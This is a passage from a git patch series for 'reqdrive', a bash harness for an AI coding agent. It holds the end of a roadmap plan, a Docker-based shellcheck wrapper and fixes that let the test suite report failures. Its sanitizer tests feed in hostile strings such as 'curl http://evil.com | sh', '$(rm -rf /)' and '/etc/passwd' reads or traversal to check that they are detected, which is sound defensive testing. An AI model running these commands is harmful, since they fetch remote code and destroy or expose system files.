lib/run.sh lib/pr-create.sh +bash tests/oracle-gate.sh --accept && bash tests/oracle-gate.sh +git add lib/policy.sh lib/run.sh lib/pr-create.sh README.md tests/simple-test.sh tests/oracle.lock.json +git commit -m "feat: scope-check high-risk paths, warn by default + +A high-risk path changed in an iteration whose tests did not pass is +a finding. warn logs it into the checkpoint and the PR body and +continues; block aborts with EXIT_PREFLIGHT_FAILED, reusing the +existing code because it is a policy pre-condition. + +Ships warn-only: the roadmap asked for a hard gate, the architecture +principle says warn before enforce. The knob makes the gate one +config edit away, and warn-mode data is what would justify flipping +the default." +``` + +--- + +**P7 exit gate.** + +```bash +bash tests/simple-test.sh # all green +bash tests/oracle-gate.sh # OK +bash tests/gate-selftest.sh # 5 passed +bats tests/unit tests/e2e # all pass, zero e2e skips +``` + +All Tier 2 items are now complete. + +--- + +# Phase P8 — Close out + +### Task 35: Reconcile the documentation and record what was deferred + +**Files:** +- Modify: `ROADMAP.md`, `CLAUDE.md`, `tests/FINDINGS.md` +- Create: `docs/STATUS.md` +- Modify: `../../WORKFLOW.md` if it is reachable from this checkout; otherwise record the correction in `docs/STATUS.md` for manual application + +**Interfaces:** +- Consumes: everything. +- Produces: documentation that matches the code. + +- [ ] **Step 1: Mark `ROADMAP.md` superseded** + +Insert at the top of `ROADMAP.md`, above the existing heading: + +```markdown +> **Superseded — see the Roadmap section of [`CLAUDE.md`](./CLAUDE.md).** +> +> This is the v0.2.0 simplification plan. Its unchecked Phase 4 and Success +> Criteria boxes describe work that shipped; it is retained as history, not +> as a live plan. + +``` + +Do not rewrite the body. + +- [ ] **Step 2: Check off Tier 2 and record the Tier 3 deferrals** + +In `CLAUDE.md`, mark every Tier 2 item complete with its implementing file, and add to the Decision Log: + +```markdown +- **[2026-07-23] Tier 3 deferred, with reasons.** + - *Vision-based QA agent* — needs Playwright and binary image data; a Node/Python + subprocess, i.e. a separate product with its own ladder. + - *Multi-requirement parallelism (`orchestrate`)* — needs worktree revival; reviving + `archive/v1-complex/lib/worktree.sh` is its own design cycle. + - *PR rejection feedback loop* — depends on review-comment parsing; no failure data + yet to shape it. + - *CI integration (`gh pr checks` polling)* — cheap in bash but adds a polling loop + and a new failure mode; wants its own spec. + - *Cost tracking / token budgets* — the `claude` CLI does not surface per-invocation + token counts to the shell. + - *Adaptive retry policies* — needs historical success-rate data that does not exist + until the pipeline has run at scale. + +- **[2026-07-23] Config-load-time schema validation deferred.** + **Why:** wiring `validate_config_schema` into `reqdrive_load_config` would newly + reject configs that load today, putting `US-CFG-04`/`US-CFG-05` and every minimal + test fixture at risk. `reqdrive validate` remains the validation entry point. + +- **[2026-07-23] The review agent is not a genuine writer≠grader.** + **Why:** `run_review_phase` uses the same `$model` as the implementer, returns + immediately when `reviewCommand` is empty (the default), and runs after `create_pr`, + so its findings cannot influence the draft decision. Making it real needs a distinct + `reviewModel` and a pre-PR position. Not claimed as L2 evidence until then. +``` + +Also update the Known Pitfalls section: the `testCommand` warn-only note and the "agent self-reporting is not authoritative" note both need revising — the draft gate is now fail-closed and no longer trusts `passes` alone. + +- [ ] **Step 3: Triage the findings register** + +In `tests/FINDINGS.md`, for every remaining Open finding either fix it (with a red-first test) or move it to a new **Accepted risk** table with a one-line reason and the count. F4's pure-negative count must carry the measured number from Task 9. + +- [ ] **Step 4: Create `docs/STATUS.md`** + +```markdown +# reqdrive — Status + +## State summary + +**Readiness:** L3 on the Readiness Ladder (target met). L4 is not targeted — +reqdrive is a harness, not a shipped product. + +**What changed (2026-07-23):** the test harness could not report a failure, so +"157 passed, 0 failed" was guaranteed by construction and red-first TDD was +impossible. That is fixed and mutation-proven. The behavior spec now covers all +157 original assertions, the suite is frozen against tampering by whole-file +hash, the draft-PR gate is fail-closed, the public surface is documented under +three coverage gates, and every Tier 2 roadmap item is complete. + +**Known gaps:** +- `launch` lifecycle coverage is Linux-CI-only; PID liveness and signal trapping + are unreliable under MSYS2. +- The review agent is not a genuine writer≠grader (same model, off by default, + post-PR). See the Decision Log. +- Config load does not schema-validate; `reqdrive validate` is the entry point. +- Accepted-risk assertions are listed in `tests/FINDINGS.md`. + +**Next steps:** Tier 3, in the order recorded in the CLAUDE.md Decision Log. +The cheapest next item is CI integration; the highest-value is vision-based QA, +which is a separate product. + +## Session log + +### 2026-07-23 — Roadmap completion (P0-P8) +Design spec and implementation plan in `docs/superpowers/`. Nine phases from +harness repair through the policy cluster. Three adversarial critique rounds on +the spec produced 38 findings, including that the first proposed harness fix +would have made failures *silent* rather than fatal. +``` + +- [ ] **Step 5: Correct the WORKFLOW.md survey rows** + +WORKFLOW.md §10 records reqdrive as **L2, gap docs-only**, and §9 repeats it. Both are wrong: L1's oracle could not report a failure and L2's draft gate fail-opened three ways, of which the survey found one. reqdrive's true starting rung was **L0**. Update the §10 row to show the corrected before/after and rewrite the §9 worked example. If `WORKFLOW.md` lives outside this repo, copy the corrected text into `docs/STATUS.md` under a "Corrections owed to WORKFLOW.md" heading so it is not lost. + +- [ ] **Step 6: Final full verification** + +```bash +bash tests/simple-test.sh +bash tests/spec-map.sh +bash tests/oracle-gate.sh +bash tests/gate-selftest.sh +bash tests/mutate.sh impl-prompt-return1 +bash tests/mutate.sh impl-prompt-silent +bats tests/unit tests/e2e +bats --formatter tap tests/e2e | grep -c '# skip' +for f in bin/reqdrive lib/*.sh install.sh tests/*.sh; do bash -n "$f" && shellcheck "$f"; done +``` + +Expected: every command exits 0; skip count `0`; mutants still produce FAILs. + +- [ ] **Step 7: Commit** + +```bash +git add ROADMAP.md CLAUDE.md docs/STATUS.md tests/FINDINGS.md +git commit -m "docs: close out the roadmap and record what was deferred + +Tier 2 complete. Tier 3 deferred with a reason per item. ROADMAP.md +marked superseded. STATUS.md created per the global convention. + +Corrects the WORKFLOW.md survey: reqdrive was recorded as L2 with a +docs-only gap. Two rungs beneath were red — the suite could not +report a failure at all, and the draft gate fail-opened three ways. +True starting rung was L0." +``` + +--- + +## Verification summary + +| Gate | Command | Expected | +|---|---|---| +| Suite | `bash tests/simple-test.sh` | all pass, 0 failed, exit 0 | +| Spec coverage | `bash tests/spec-map.sh` | every test name mapped, exit 0 | +| Freeze | `bash tests/oracle-gate.sh` | `OK`, exit 0 | +| Gate rules fire | `bash tests/gate-selftest.sh` | 5 passed, 0 failed | +| Harness detects defects | `bash tests/mutate.sh impl-prompt-return1` | `FAILS=3`, full result count | +| Harness detects silent defects | `bash tests/mutate.sh impl-prompt-silent` | `FAILS>=2` | +| E2E | `bats tests/unit tests/e2e` | all pass | +| E2E honesty | `bats --formatter tap tests/e2e \| grep -c '# skip'` | `0` | +| Lint | `shellcheck bin/reqdrive lib/*.sh install.sh tests/*.sh` | clean | +| Syntax | `bash -n` on every modified `.sh` | clean | From c8e41ac90d2d55aa0552ac1a629b260a766c1b4e Mon Sep 17 00:00:00 2001 From: Alex Barclay Date: Thu, 23 Jul 2026 10:09:34 -0600 Subject: [PATCH 03/47] chore: add shellcheck docker wrapper and record pre-flight decisions shellcheck is not installed natively here; the wrapper runs koalaman/shellcheck:stable so the plan's lint commands work locally and verify before CI rather than after. Also records the two pre-flight conflict resolutions: red-first tasks squash red into green so every commit is green, and Task 34's word-splitting is to be resolved with a read loop rather than a blanket SC2086 disable. --- .../2026-07-23-reqdrive-roadmap-completion.md | 4 +++- scripts/shellcheck | 21 +++++++++++++++++++ 2 files changed, 24 insertions(+), 1 deletion(-) create mode 100644 scripts/shellcheck diff --git a/docs/superpowers/plans/2026-07-23-reqdrive-roadmap-completion.md b/docs/superpowers/plans/2026-07-23-reqdrive-roadmap-completion.md index 216e487..8e50fd3 100644 --- a/docs/superpowers/plans/2026-07-23-reqdrive-roadmap-completion.md +++ b/docs/superpowers/plans/2026-07-23-reqdrive-roadmap-completion.md @@ -18,7 +18,9 @@ - `set -euo pipefail` in entry points (`bin/reqdrive`), `set -e` in libraries (`lib/*.sh`). Exception: `tests/simple-test.sh` becomes `set +e` at top with `set -e` inside each assertion body — this is Task 2 and is deliberate. - **Run `bash -n` on every modified `.sh` file before committing.** CI enforces it. - **shellcheck must stay clean.** CI lints `bin/reqdrive`, `lib/*.sh`, `install.sh`, `tests/simple-test.sh`, `tests/run-tests.sh`. Any new script added to those paths must be added to the lint list in the same commit. -- **All tests must pass** before any commit: `bash tests/simple-test.sh` exits 0. + - **shellcheck is not installed natively on this machine.** Run it as `./scripts/shellcheck FILE...` — a Docker wrapper around `koalaman/shellcheck:stable`, verified working. Wherever a task step says `shellcheck X`, run `./scripts/shellcheck X`. It is a real lint run, not a stub: it exits 1 on findings. + - **Known incoming finding:** Task 34's `policy_classify_paths $changed` relies on word-splitting and will trip **SC2086**. Resolve it by iterating with `while IFS= read -r path` over `git diff --name-only` output rather than by adding a blanket disable — filenames with spaces are a real case and the loop handles both concerns at once. +- **All tests must pass before any commit:** `bash tests/simple-test.sh` exits 0. **Red-first tasks squash red into green** — write the failing test, *run it and record the failure output in your report*, then implement, then commit test and implementation together. The red evidence lives in the task report, not in a red commit. This overrides any task step that says to commit failing tests on their own (notably Task 17 Step 3, which is superseded: fold it into Task 18's commit). - **From Task 14 onward**, `bash tests/oracle-gate.sh` must also exit 0 before any commit. - **From Task 16 onward**, `bats tests/unit tests/e2e` must pass with **zero skips in `tests/e2e/`**. - **No `Co-Authored-By` lines and no "Generated with Claude Code" footers** in commit messages (user's standing convention). diff --git a/scripts/shellcheck b/scripts/shellcheck new file mode 100644 index 0000000..065e731 --- /dev/null +++ b/scripts/shellcheck @@ -0,0 +1,21 @@ +#!/usr/bin/env bash +# shellcheck wrapper — runs koalaman/shellcheck in Docker so contributors do +# not need a native install. CI uses the apt package directly; this exists so +# the same lint command works locally. +# +# Usage: scripts/shellcheck FILE... +set -euo pipefail + +if command -v shellcheck.exe >/dev/null 2>&1; then + exec shellcheck.exe "$@" +fi + +command -v docker >/dev/null 2>&1 || { + echo "shellcheck wrapper: neither a native shellcheck nor docker is available" >&2 + exit 127 +} + +# MSYS_NO_PATHCONV stops Git-Bash rewriting the container-side /mnt path. +MSYS_NO_PATHCONV=1 exec docker run --rm \ + -v "$(pwd)":/mnt -w /mnt \ + koalaman/shellcheck:stable "$@" From ed0bb0d743a16cb3c030aad79e866b2d81723523 Mon Sep 17 00:00:00 2001 From: Alex Barclay Date: Thu, 23 Jul 2026 10:14:47 -0600 Subject: [PATCH 04/47] fix(tests): guard mktemp and scope the .git removal to TEST_TEMP cd "" returns 0 and stays in the invocation directory, so an empty TEST_TEMP would make the check_git_repo assertion run rm -rf .git in the repo root. set -e was masking a failed mktemp; the next commit removes that protection, so make the guard explicit first. --- tests/simple-test.sh | 26 +++++++++++++++++++++++--- 1 file changed, 23 insertions(+), 3 deletions(-) diff --git a/tests/simple-test.sh b/tests/simple-test.sh index 134ccb1..a5ed2d0 100644 --- a/tests/simple-test.sh +++ b/tests/simple-test.sh @@ -53,8 +53,9 @@ test_skip() { } # Create temp directory -TEST_TEMP=$(mktemp -d) -trap "rm -rf $TEST_TEMP" EXIT +TEST_TEMP=$(mktemp -d) || { echo "FATAL: mktemp failed" >&2; exit 1; } +[ -n "$TEST_TEMP" ] && [ -d "$TEST_TEMP" ] || { echo "FATAL: bad TEST_TEMP" >&2; exit 1; } +trap 'rm -rf "$TEST_TEMP"' EXIT echo "========================================" echo " reqdrive v0.3.0 simple test suite" @@ -740,7 +741,7 @@ echo "--- Preflight Tests ---" # Test: check_git_repo fails outside git repo ( cd "$TEST_TEMP" - rm -rf .git 2>/dev/null || true + rm -rf "$TEST_TEMP/.git" 2>/dev/null || true source "$REQDRIVE_ROOT/lib/errors.sh" source "$REQDRIVE_ROOT/lib/preflight.sh" ! check_git_repo 2>/dev/null @@ -2303,6 +2304,25 @@ EOF ) test_result "review: update_pr_with_review formats findings correctly" $? +echo "" +echo "--- Harness Safety ---" + +# Test: suite refuses to run when mktemp fails +( + set -e + fake_bin="$TEST_TEMP/fakebin" + mkdir -p "$fake_bin" + cat > "$fake_bin/mktemp" <<'MKEOF' +#!/usr/bin/env bash +exit 1 +MKEOF + chmod +x "$fake_bin/mktemp" + out=$(PATH="$fake_bin:$PATH" bash "$REQDRIVE_ROOT/tests/simple-test.sh" 2>&1) && rc=0 || rc=$? + [ "$rc" -ne 0 ] + echo "$out" | grep -q "FATAL: mktemp failed" +) +test_result "harness: aborts when mktemp fails" $? + echo "" echo "========================================" echo " Results: $PASS passed, $FAIL failed, $SKIP skipped, $TOTAL total" From fe37a423d12acfc1e1211f682d2f1187f1bc2952 Mon Sep 17 00:00:00 2001 From: Alex Barclay Date: Thu, 23 Jul 2026 10:31:34 -0600 Subject: [PATCH 05/47] fix(tests): make errexit active inside each assertion body set -e at the top of the suite aborted the script on a failing subshell before test_result could run, so the FAIL branch was unreachable and '0 failed' was guaranteed by construction. The obvious fix does not work: bash suppresses errexit inside a subshell used as an if condition, and the suppression propagates into the body even with an explicit set -e. The only form that preserves the semantics is set +e at top plus set -e as the first statement of each body, invoked as a simple command. --- tests/simple-test.sh | 160 ++++++++++++++++++++++++++++++++++++++++++- 1 file changed, 159 insertions(+), 1 deletion(-) diff --git a/tests/simple-test.sh b/tests/simple-test.sh index a5ed2d0..fd45fff 100644 --- a/tests/simple-test.sh +++ b/tests/simple-test.sh @@ -8,7 +8,7 @@ # SC2064: trap with expanded variables is intentional in test subshells # SC2317: mock functions called via export -f appear "unreachable" to shellcheck # SC1003: backslash in test patterns is intentional -set -e +set +e SCRIPT_DIR="$(cd "$(dirname "${BASH_SOURCE[0]}")" && pwd)" PROJECT_ROOT="$(cd "$SCRIPT_DIR/.." && pwd)" @@ -74,6 +74,7 @@ echo "--- Config: reqdrive_find_manifest ---" # Test: reqdrive_find_manifest finds manifest in current dir ( + set -e cd "$TEST_TEMP" cat > reqdrive.json <<'EOF' {"requirementsDir":"docs/requirements","testCommand":"npm test"} @@ -86,6 +87,7 @@ test_result "find_manifest: finds manifest in current dir" $? # Test: reqdrive_find_manifest finds manifest in parent ( + set -e cd "$TEST_TEMP" cat > reqdrive.json <<'EOF' {"requirementsDir":"docs/requirements","testCommand":"npm test"} @@ -100,6 +102,7 @@ test_result "find_manifest: finds manifest in parent dir" $? # Test: reqdrive_find_manifest returns 1 when no manifest exists ( + set -e tmpdir=$(mktemp -d) trap "rm -rf $tmpdir" EXIT cd "$tmpdir" @@ -113,6 +116,7 @@ echo "--- Config: reqdrive_load_config ---" # Test: reqdrive_load_config loads all settings ( + set -e cd "$TEST_TEMP" cat > reqdrive.json <<'EOF' {"requirementsDir":"docs/reqs","testCommand":"npm test","model":"claude-opus-4-5-20251101","maxIterations":5,"baseBranch":"develop","projectName":"my-project"} @@ -130,6 +134,7 @@ test_result "load_config: loads all settings" $? # Test: reqdrive_load_config uses defaults for missing fields ( + set -e cd "$TEST_TEMP" cat > reqdrive.json <<'EOF' {} @@ -145,6 +150,7 @@ test_result "load_config: uses defaults for missing fields" $? # Test: reqdrive_load_config sets REQDRIVE_MANIFEST to manifest path ( + set -e cd "$TEST_TEMP" cat > reqdrive.json <<'EOF' {} @@ -157,6 +163,7 @@ test_result "load_config: sets REQDRIVE_MANIFEST path" $? # Test: reqdrive_load_config sets REQDRIVE_PROJECT_ROOT to manifest dir ( + set -e cd "$TEST_TEMP" cat > reqdrive.json <<'EOF' {} @@ -171,6 +178,7 @@ test_result "load_config: sets REQDRIVE_PROJECT_ROOT to manifest dir" $? # Test: reqdrive_load_config joins prLabels with commas ( + set -e cd "$TEST_TEMP" cat > reqdrive.json <<'EOF' {"prLabels":["agent-generated","needs-review","auto"]} @@ -183,6 +191,7 @@ test_result "load_config: joins prLabels with commas" $? # Test: reqdrive_load_config defaults prLabels to agent-generated ( + set -e cd "$TEST_TEMP" cat > reqdrive.json <<'EOF' {} @@ -195,6 +204,7 @@ test_result "load_config: defaults prLabels to agent-generated" $? # Test: reqdrive_load_config defaults testCommand to empty ( + set -e cd "$TEST_TEMP" cat > reqdrive.json <<'EOF' {} @@ -207,6 +217,7 @@ test_result "load_config: defaults testCommand to empty string" $? # Test: reqdrive_load_config defaults maxStoryRetries to 3 ( + set -e cd "$TEST_TEMP" cat > reqdrive.json <<'EOF' {} @@ -219,6 +230,7 @@ test_result "load_config: defaults maxStoryRetries to 3" $? # Test: reqdrive_load_config loads custom maxStoryRetries ( + set -e cd "$TEST_TEMP" cat > reqdrive.json <<'EOF' {"maxStoryRetries": 5} @@ -231,6 +243,7 @@ test_result "load_config: loads custom maxStoryRetries" $? # Test: reqdrive_load_config defaults projectName to empty ( + set -e cd "$TEST_TEMP" cat > reqdrive.json <<'EOF' {} @@ -243,6 +256,7 @@ test_result "load_config: defaults projectName to empty string" $? # Test: reqdrive_load_config exits when no manifest found ( + set -e tmpdir=$(mktemp -d) trap "rm -rf $tmpdir" EXIT cd "$tmpdir" @@ -254,6 +268,7 @@ test_result "load_config: exits with error when no manifest" $? # Test: reqdrive_load_config exits on incompatible schema version ( + set -e cd "$TEST_TEMP" cat > reqdrive.json <<'EOF' {"version":"9.0.0"} @@ -269,6 +284,7 @@ echo "--- Config: reqdrive_get_req_file ---" # Test: reqdrive_get_req_file finds requirement ( + set -e cd "$TEST_TEMP" cat > reqdrive.json <<'EOF' {"requirementsDir":"docs/requirements"} @@ -284,6 +300,7 @@ test_result "get_req_file: finds matching requirement" $? # Test: reqdrive_get_req_file returns 1 when no match ( + set -e cd "$TEST_TEMP" cat > reqdrive.json <<'EOF' {"requirementsDir":"docs/requirements"} @@ -298,6 +315,7 @@ test_result "get_req_file: returns 1 when no match" $? # Test: reqdrive_get_req_file returns path including filename ( + set -e cd "$TEST_TEMP" cat > reqdrive.json <<'EOF' {"requirementsDir":"docs/requirements"} @@ -313,6 +331,7 @@ test_result "get_req_file: returns full path to matched file" $? # Test: reqdrive_get_req_file uses configured requirementsDir ( + set -e cd "$TEST_TEMP" cat > reqdrive.json <<'EOF' {"requirementsDir":"specs"} @@ -331,6 +350,7 @@ echo "--- Validation Tests ---" # Test: validate passes for valid manifest ( + set -e cd "$TEST_TEMP" mkdir -p docs/requirements cat > reqdrive.json <<'EOF' @@ -345,6 +365,7 @@ test_result "validate: passes for valid manifest" $? # Test: validate fails for invalid JSON ( + set -e set +e cd "$TEST_TEMP" echo "{ invalid json }" > reqdrive.json @@ -361,6 +382,7 @@ echo "--- Sanitize: sanitize_for_prompt ---" # Test: sanitize_for_prompt escapes backticks and dollar signs ( + set -e source "$REQDRIVE_ROOT/lib/sanitize.sh" input='echo $(whoami) and `id`' result=$(sanitize_for_prompt "$input") @@ -370,6 +392,7 @@ test_result "sanitize_for_prompt: escapes backticks and dollar signs" $? # Test: sanitize_for_prompt passes clean content through unchanged ( + set -e source "$REQDRIVE_ROOT/lib/sanitize.sh" input='Hello world, this is plain text with no special chars.' result=$(sanitize_for_prompt "$input") @@ -379,6 +402,7 @@ test_result "sanitize_for_prompt: clean content passes through unchanged" $? # Test: sanitize_for_prompt handles empty input ( + set -e source "$REQDRIVE_ROOT/lib/sanitize.sh" result=$(sanitize_for_prompt "") [ -z "$result" ] @@ -387,6 +411,7 @@ test_result "sanitize_for_prompt: empty input returns empty" $? # Test: sanitize_for_prompt escapes ${VAR} expansion ( + set -e source "$REQDRIVE_ROOT/lib/sanitize.sh" input='use ${HOME} for path' result=$(sanitize_for_prompt "$input") @@ -400,6 +425,7 @@ echo "--- Sanitize: sanitize_label ---" # Test: sanitize_label passes clean label through ( + set -e source "$REQDRIVE_ROOT/lib/sanitize.sh" result=$(sanitize_label "agent-generated") [ "$result" = "agent-generated" ] @@ -408,6 +434,7 @@ test_result "sanitize_label: clean label passes through" $? # Test: sanitize_label strips leading/trailing whitespace ( + set -e source "$REQDRIVE_ROOT/lib/sanitize.sh" result=$(sanitize_label " my-label ") [ "$result" = "my-label" ] @@ -416,6 +443,7 @@ test_result "sanitize_label: strips whitespace" $? # Test: sanitize_label removes semicolons ( + set -e source "$REQDRIVE_ROOT/lib/sanitize.sh" result=$(sanitize_label 'label;rm -rf /') [[ "$result" != *";"* ]] @@ -424,6 +452,7 @@ test_result "sanitize_label: removes semicolons" $? # Test: sanitize_label removes pipes ( + set -e source "$REQDRIVE_ROOT/lib/sanitize.sh" result=$(sanitize_label 'label|cat /etc/passwd') [[ "$result" != *"|"* ]] @@ -432,6 +461,7 @@ test_result "sanitize_label: removes pipes" $? # Test: sanitize_label removes ampersands ( + set -e source "$REQDRIVE_ROOT/lib/sanitize.sh" result=$(sanitize_label 'label&& echo pwned') [[ "$result" != *"&"* ]] @@ -440,6 +470,7 @@ test_result "sanitize_label: removes ampersands" $? # Test: sanitize_label removes redirects ( + set -e source "$REQDRIVE_ROOT/lib/sanitize.sh" result=$(sanitize_label 'label > /tmp/out < /etc/passwd') [[ "$result" != *">"* ]] && [[ "$result" != *"<"* ]] @@ -448,6 +479,7 @@ test_result "sanitize_label: removes redirect characters" $? # Test: sanitize_label removes dollar signs ( + set -e source "$REQDRIVE_ROOT/lib/sanitize.sh" result=$(sanitize_label 'label$HOME') [[ "$result" != *'$'* ]] @@ -456,6 +488,7 @@ test_result "sanitize_label: removes dollar signs" $? # Test: sanitize_label removes backslashes ( + set -e source "$REQDRIVE_ROOT/lib/sanitize.sh" result=$(sanitize_label 'label\\path') [[ "$result" != *'\\'* ]] @@ -464,6 +497,7 @@ test_result "sanitize_label: removes backslashes" $? # Test: sanitize_label replaces double quotes with single quotes ( + set -e source "$REQDRIVE_ROOT/lib/sanitize.sh" result=$(sanitize_label 'say "hello"') [[ "$result" != *'"'* ]] && [[ "$result" == *"'"* ]] @@ -472,6 +506,7 @@ test_result "sanitize_label: replaces double quotes with single" $? # Test: sanitize_label replaces backticks with single quotes ( + set -e source "$REQDRIVE_ROOT/lib/sanitize.sh" result=$(sanitize_label 'run `cmd`') [[ "$result" != *'`'* ]] && [[ "$result" == *"'"* ]] @@ -480,6 +515,7 @@ test_result "sanitize_label: replaces backticks with single quotes" $? # Test: sanitize_label truncates to 50 characters ( + set -e source "$REQDRIVE_ROOT/lib/sanitize.sh" long_label=$(printf 'a%.0s' {1..70}) result=$(sanitize_label "$long_label") @@ -489,6 +525,7 @@ test_result "sanitize_label: truncates to 50 chars" $? # Test: sanitize_label handles empty input ( + set -e source "$REQDRIVE_ROOT/lib/sanitize.sh" result=$(sanitize_label "") [ -z "$result" ] @@ -500,6 +537,7 @@ echo "--- Sanitize: validate_requirement_content ---" # Test: validate_requirement_content returns 0 for clean content ( + set -e source "$REQDRIVE_ROOT/lib/sanitize.sh" validate_requirement_content "This is a normal requirement document." 2>/dev/null ) @@ -507,6 +545,7 @@ test_result "validate_requirement_content: clean content returns 0" $? # Test: validate_requirement_content warns on $() but returns 0 (non-strict) ( + set -e source "$REQDRIVE_ROOT/lib/sanitize.sh" content='Run this: $(rm -rf /)' output=$(validate_requirement_content "$content" 2>&1) @@ -519,6 +558,7 @@ test_result "validate_requirement_content: warns but returns 0 in non-strict" $? # Test: validate_requirement_content returns 1 in strict mode with suspicious content ( + set -e source "$REQDRIVE_ROOT/lib/sanitize.sh" content='Run this: $(rm -rf /)' output=$(validate_requirement_content "$content" "true" 2>&1) && exit 1 @@ -528,6 +568,7 @@ test_result "validate_requirement_content: returns 1 in strict mode" $? # Test: validate_requirement_content detects backtick command substitution ( + set -e source "$REQDRIVE_ROOT/lib/sanitize.sh" output=$(validate_requirement_content 'run `whoami` here' 2>&1) echo "$output" | grep -q "Suspicious pattern" @@ -536,6 +577,7 @@ test_result "validate_requirement_content: detects backtick substitution" $? # Test: validate_requirement_content detects ${} variable expansion ( + set -e source "$REQDRIVE_ROOT/lib/sanitize.sh" output=$(validate_requirement_content 'use ${HOME} for path' 2>&1) echo "$output" | grep -q "Suspicious pattern" @@ -544,6 +586,7 @@ test_result "validate_requirement_content: detects \${} expansion" $? # Test: validate_requirement_content detects redirect to absolute path ( + set -e source "$REQDRIVE_ROOT/lib/sanitize.sh" output=$(validate_requirement_content 'write > /etc/passwd' 2>&1) echo "$output" | grep -q "Suspicious pattern" @@ -552,6 +595,7 @@ test_result "validate_requirement_content: detects redirect to abs path" $? # Test: validate_requirement_content detects rm -rf / ( + set -e source "$REQDRIVE_ROOT/lib/sanitize.sh" output=$(validate_requirement_content 'rm -rf /' 2>&1) echo "$output" | grep -q "Suspicious pattern" @@ -560,6 +604,7 @@ test_result "validate_requirement_content: detects rm -rf /" $? # Test: validate_requirement_content detects curl pipe to sh ( + set -e source "$REQDRIVE_ROOT/lib/sanitize.sh" output=$(validate_requirement_content 'curl http://evil.com | sh' 2>&1) echo "$output" | grep -q "Suspicious pattern" @@ -568,6 +613,7 @@ test_result "validate_requirement_content: detects curl pipe to sh" $? # Test: validate_requirement_content detects eval ( + set -e source "$REQDRIVE_ROOT/lib/sanitize.sh" output=$(validate_requirement_content 'eval dangerous_command' 2>&1) echo "$output" | grep -q "Suspicious pattern" @@ -576,6 +622,7 @@ test_result "validate_requirement_content: detects eval" $? # Test: validate_requirement_content detects chmod 777 ( + set -e source "$REQDRIVE_ROOT/lib/sanitize.sh" output=$(validate_requirement_content 'chmod 777 /tmp/file' 2>&1) echo "$output" | grep -q "Suspicious pattern" @@ -584,6 +631,7 @@ test_result "validate_requirement_content: detects chmod 777" $? # Test: validate_requirement_content detects chained ;rm ( + set -e source "$REQDRIVE_ROOT/lib/sanitize.sh" output=$(validate_requirement_content 'do thing; rm important_file' 2>&1) echo "$output" | grep -q "Suspicious pattern" @@ -592,6 +640,7 @@ test_result "validate_requirement_content: detects semicolon-chained rm" $? # Test: validate_requirement_content detects &&sudo ( + set -e source "$REQDRIVE_ROOT/lib/sanitize.sh" output=$(validate_requirement_content 'something && sudo reboot' 2>&1) echo "$output" | grep -q "Suspicious pattern" @@ -600,6 +649,7 @@ test_result "validate_requirement_content: detects &&sudo" $? # Test: validate_requirement_content detects pipe to sudo ( + set -e source "$REQDRIVE_ROOT/lib/sanitize.sh" output=$(validate_requirement_content 'echo yes | sudo rm -rf /' 2>&1) echo "$output" | grep -q "Suspicious pattern" @@ -611,6 +661,7 @@ echo "--- Sanitize: validate_file_path ---" # Test: validate_file_path passes for normal path under base ( + set -e source "$REQDRIVE_ROOT/lib/sanitize.sh" mkdir -p "$TEST_TEMP/project" validate_file_path "src/main.sh" "$TEST_TEMP/project" 2>/dev/null @@ -619,6 +670,7 @@ test_result "validate_file_path: passes for normal relative path" $? # Test: validate_file_path rejects path with .. ( + set -e source "$REQDRIVE_ROOT/lib/sanitize.sh" mkdir -p "$TEST_TEMP/project" output=$(validate_file_path "../../etc/passwd" "$TEST_TEMP/project" 2>&1) && exit 1 @@ -628,6 +680,7 @@ test_result "validate_file_path: rejects .. traversal" $? # Test: validate_file_path rejects mid-path traversal ( + set -e source "$REQDRIVE_ROOT/lib/sanitize.sh" mkdir -p "$TEST_TEMP/project" output=$(validate_file_path "src/../../../etc/passwd" "$TEST_TEMP/project" 2>&1) && exit 1 @@ -640,6 +693,7 @@ echo "--- Error Codes Tests ---" # Test: errors.sh defines all exit codes ( + set -e source "$REQDRIVE_ROOT/lib/errors.sh" [ "$EXIT_SUCCESS" = "0" ] && [ "$EXIT_GENERAL_ERROR" = "1" ] && @@ -655,6 +709,7 @@ test_result "errors: defines all exit codes (0-8)" $? # Test: EXIT_MESSAGES has entry for every exit code ( + set -e source "$REQDRIVE_ROOT/lib/errors.sh" [ -n "${EXIT_MESSAGES[0]}" ] && [ -n "${EXIT_MESSAGES[1]}" ] && @@ -670,6 +725,7 @@ test_result "errors: EXIT_MESSAGES covers all codes" $? # Test: get_exit_message returns known message ( + set -e source "$REQDRIVE_ROOT/lib/errors.sh" [ "$(get_exit_message 0)" = "Success" ] && [ "$(get_exit_message 3)" = "Configuration error" ] && @@ -679,6 +735,7 @@ test_result "errors: get_exit_message returns correct messages" $? # Test: get_exit_message returns fallback for unknown code ( + set -e source "$REQDRIVE_ROOT/lib/errors.sh" [ "$(get_exit_message 99)" = "Unknown error" ] ) @@ -686,6 +743,7 @@ test_result "errors: get_exit_message returns 'Unknown error' for unknown code" # Test: die exits with given code and custom message ( + set -e source "$REQDRIVE_ROOT/lib/errors.sh" output=$(die 3 "bad config" 2>&1) || code=$? [ "$code" = "3" ] && @@ -695,6 +753,7 @@ test_result "errors: die exits with code and custom message" $? # Test: die uses default message from EXIT_MESSAGES when no msg given ( + set -e source "$REQDRIVE_ROOT/lib/errors.sh" output=$(die 5 2>&1) || code=$? [ "$code" = "5" ] && @@ -704,6 +763,7 @@ test_result "errors: die uses EXIT_MESSAGES when no custom message" $? # Test: die defaults to exit code 1 with no arguments ( + set -e source "$REQDRIVE_ROOT/lib/errors.sh" output=$(die 2>&1) || code=$? [ "$code" = "1" ] @@ -712,6 +772,7 @@ test_result "errors: die defaults to exit code 1" $? # Test: die_on_error does nothing after success ( + set -e source "$REQDRIVE_ROOT/lib/errors.sh" true die_on_error "should not fire" @@ -721,6 +782,7 @@ test_result "errors: die_on_error is silent after success" $? # Test: die_on_error exits after failure ( + set -e source "$REQDRIVE_ROOT/lib/errors.sh" # Subshell: force $? to non-zero then call die_on_error output=$( @@ -740,6 +802,7 @@ echo "--- Preflight Tests ---" # Test: check_git_repo fails outside git repo ( + set -e cd "$TEST_TEMP" rm -rf "$TEST_TEMP/.git" 2>/dev/null || true source "$REQDRIVE_ROOT/lib/errors.sh" @@ -750,6 +813,7 @@ test_result "preflight: check_git_repo fails outside repo" $? # Test: check_clean_working_tree passes on clean repo ( + set -e cd "$TEST_TEMP" git init -q git config user.email "test@test.com" @@ -765,6 +829,7 @@ test_result "preflight: check_clean_working_tree passes on clean repo" $? # Test: check_clean_working_tree fails on dirty repo ( + set -e cd "$TEST_TEMP" echo "dirty" >> file.txt source "$REQDRIVE_ROOT/lib/errors.sh" @@ 